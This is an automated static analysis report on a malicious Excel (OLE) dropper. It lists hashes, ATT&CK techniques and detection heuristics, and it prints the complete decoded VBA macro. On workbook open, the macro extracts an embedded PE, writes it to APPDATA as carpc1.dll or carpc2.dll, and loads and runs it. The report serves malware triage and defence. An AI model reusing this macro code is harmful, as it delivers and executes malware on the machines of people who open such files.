Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c7c572f96cba8e8…

MALICIOUS

Office (OLE)

290.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2019-11-20
MD5: 0c35d5f0b8428c7df1dc8b2b0b2360a5 SHA-1: 2cea8d4378d8d6265332e6f6390203169e22e138 SHA-256: 2c7c572f96cba8e8e99ca5aff9831fa8eca2be778bb7b505a06936982d384cd0
336 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Excel document detected by ClamAV as Xls.Dropper.Mrrk-7166990-0. It contains a Workbook_Open macro that executes a VBA script. This script attempts to create a file named 'carpc1.dll' or 'carpc2.dll' in the user's APPDATA directory, loads it as a library using LoadLibrary, and then executes it. The script also embeds a PE executable which is likely the second-stage payload.

Heuristics 10

  • ClamAV: Xls.Dropper.Mrrk-7166990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7166990-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
CreateGifFile
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3684 bytes
SHA-256: 81e9d88bcd38657623e56d5e25b3a18e2fd69ca79f7b0b668147e61f8a82ee6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
CreateGifFile
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub



Private Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
    Dim nm As String
    Dim size As Long
    Dim num As Integer
#If Win64 Then
    nm = Environ("APPDATA") + "\carpc2.dll"
    size = 64512
    num = 2
#Else
    
    nm = Environ("APPDATA") + "\carpc1.dll"
    size = 81920
    num = 1
#End If
        
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (Environ("APPDATA"))
    Hwnd = LoadLibrary(nm)
    Get2

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If Win64 Then
    Public Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare PtrSafe Function Get2 Lib _
        "carpc2.dll" () As Integer
#Else
    Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
    Public Declare Function Get2 Lib _
        "carpc1.dll" () As Integer
#End If
embedded_office_0000274e.exe embedded-pe Office MZ+PE at offset 0x274E 287410 bytes
SHA-256: bf8369d67ca8e1ff84a1e6409bde15e67b90f5149b7cfe4ef54aa798b7084f9b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD007E3669/Ole10Native 152568 bytes
SHA-256: df6bda9780f87ff1db7af58febaf2bb1353e064e81d91e84c54e5831bc3cae71

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